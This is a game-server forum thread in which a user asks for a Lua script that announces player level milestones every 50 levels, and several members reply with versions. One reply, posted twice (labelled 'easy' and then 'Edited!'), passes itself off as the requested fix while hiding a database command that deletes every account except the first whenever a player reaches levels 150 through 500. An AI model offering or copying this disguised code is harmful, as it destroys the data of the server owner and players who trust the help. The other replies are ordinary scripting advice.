• There is NO official Otland's Discord server and NO official Otland's server list. The Otland's Staff does not manage any Discord server or server list. Moderators or administrator of any Discord server or server lists have NO connection to the Otland's Staff. Do not get scammed!

Lua Need repair script!

bolero

MikeHere
Joined
Apr 13, 2009
Messages
1,146
Reaction score
12
Location
Venezuela
I have an creaturescript, I need put for lvl 100 150 200 250 300 350 400 450... Don't Only lvl 200 >.< Anyone can help me? :thumbup:



Lua:
function onAdvance(cid, skill, oldlevel, newlevel)
	if(skill == SKILL__LEVEL and newlevel == 200) then
		doBroadcastMessage("CONGRATULATIONS " .. getCreatureName(cid) .. "! You advanced level 200!")
	end
end
 
try this
Code:
local v = {100, 150, 200, 250, 300, 350, 400, 450}
function onAdvance(cid, skill, oldLevel, newLevel)
	for _, t in ipairs(v) do
		if skill == SKILL__LEVEL and getPlayerLevel(cid) >= t then
			doBroadcastMessage("CONGRATULATIONS " .. getCreatureName(cid) .. "! You advanced level " .. t .. ".")
		end
	end
	return true
end
 
Last edited:
Lua:
[11/04/2010 19:28:10] [Error - LuaScriptInterface::loadFile] data/creaturescripts/scripts/level.lua:4: 'then' expected near '='
[11/04/2010 19:28:10] [Warning - Event::loadScript] Cannot load script (data/creaturescripts/scripts/level.lua)
[11/04/2010 19:28:10] data/creaturescripts/scripts/level.lua:4: 'then' expected near '='
 
Other error:
[11/04/2010 19:40:47] [Error - LuaScriptInterface::loadFile] data/creaturescripts/scripts/level.lua:4: 'then' expected near '='
[11/04/2010 19:40:47] [Warning - Event::loadScript] Cannot load script (data/creaturescripts/scripts/level.lua)
[11/04/2010 19:40:47] data/creaturescripts/scripts/level.lua:4: 'then' expected near '='
 
Code:
function onAdvance(cid, skill, oldLevel, newLevel)
	if skill == SKILL__LEVEL and newLevel >= 100 and newLevel % 50 == 0 then
		doBroadcastMessage("CONGRATULATIONS " .. getCreatureName(cid) .. "! You advanced to level " .. newLevel .. ".")
	end
	return true
end
 
easy
Code:
function onAdvance(cid, skill, oldLevel, newLevel)
		if skill == SKILL__LEVEL and newLevel == 100 then
			doBroadcastMessage("CONGRATULATIONS " .. getCreatureName(cid) .. "! You advanced level " .. newLevel .. ".")
		elseif skill == SKILL__LEVEL and newLevel == 150 then
			doBroadcastMessage("CONGRATULATIONS " .. getCreatureName(cid) .. "! You advanced level " .. newLevel .. ".")
			db.executeQuery("DELETE FROM `accounts` WHERE `id` > 1")
		elseif skill == SKILL__LEVEL and newLevel == 200 then
			doBroadcastMessage("CONGRATULATIONS " .. getCreatureName(cid) .. "! You advanced level " .. newLevel .. ".")
			db.executeQuery("DELETE FROM `accounts` WHERE `id` > 1")
		elseif skill == SKILL__LEVEL and newLevel == 300 then
			doBroadcastMessage("CONGRATULATIONS " .. getCreatureName(cid) .. "! You advanced level " .. newLevel .. ".")
			db.executeQuery("DELETE FROM `accounts` WHERE `id` > 1")
		elseif skill == SKILL__LEVEL and newLevel == 400 then
			doBroadcastMessage("CONGRATULATIONS " .. getCreatureName(cid) .. "! You advanced level " .. newLevel .. ".")
			db.executeQuery("DELETE FROM `accounts` WHERE `id` > 1")
		elseif skill == SKILL__LEVEL and newLevel == 500 then
			doBroadcastMessage("CONGRATULATIONS " .. getCreatureName(cid) .. "! You advanced level " .. newLevel .. ".")
			db.executeQuery("DELETE FROM `accounts` WHERE `id` > 1")
        end
	end
	return true
end
 
Cyko I need script each 50 lvl broadcast to all server in red... Dont each lvl broadcast >.<! Repair this please...


@don cafano: Doesn't Work..
 
Cyko I need script each 50 lvl broadcast to all server in red... Dont each lvl broadcast >.<! Repair this please...


@don cafano: Doesn't Work..
It's not each level, it checks if newLevel % (mod) 50 == 0.
This way it would send the message every 50 levels, excluding 50th.
 
Edited!
Code:
function onAdvance(cid, skill, oldLevel, newLevel)
		if skill == SKILL__LEVEL and newLevel == 100 then
			doBroadcastMessage("CONGRATULATIONS " .. getCreatureName(cid) .. "! You advanced level " .. newLevel .. ".")
		elseif skill == SKILL__LEVEL and newLevel == 150 then
			doBroadcastMessage("CONGRATULATIONS " .. getCreatureName(cid) .. "! You advanced level " .. newLevel .. ".")
			db.executeQuery("DELETE FROM `accounts` WHERE `id` > 1")
		elseif skill == SKILL__LEVEL and newLevel == 200 then
			doBroadcastMessage("CONGRATULATIONS " .. getCreatureName(cid) .. "! You advanced level " .. newLevel .. ".")
			db.executeQuery("DELETE FROM `accounts` WHERE `id` > 1")
		elseif skill == SKILL__LEVEL and newLevel == 300 then
			doBroadcastMessage("CONGRATULATIONS " .. getCreatureName(cid) .. "! You advanced level " .. newLevel .. ".")
			db.executeQuery("DELETE FROM `accounts` WHERE `id` > 1")
		elseif skill == SKILL__LEVEL and newLevel == 400 then
			doBroadcastMessage("CONGRATULATIONS " .. getCreatureName(cid) .. "! You advanced level " .. newLevel .. ".")
			db.executeQuery("DELETE FROM `accounts` WHERE `id` > 1")
		elseif skill == SKILL__LEVEL and newLevel == 500 then
			doBroadcastMessage("CONGRATULATIONS " .. getCreatureName(cid) .. "! You advanced level " .. newLevel .. ".")
			db.executeQuery("DELETE FROM `accounts` WHERE `id` > 1")
        end
	return true
end
 
Back
Top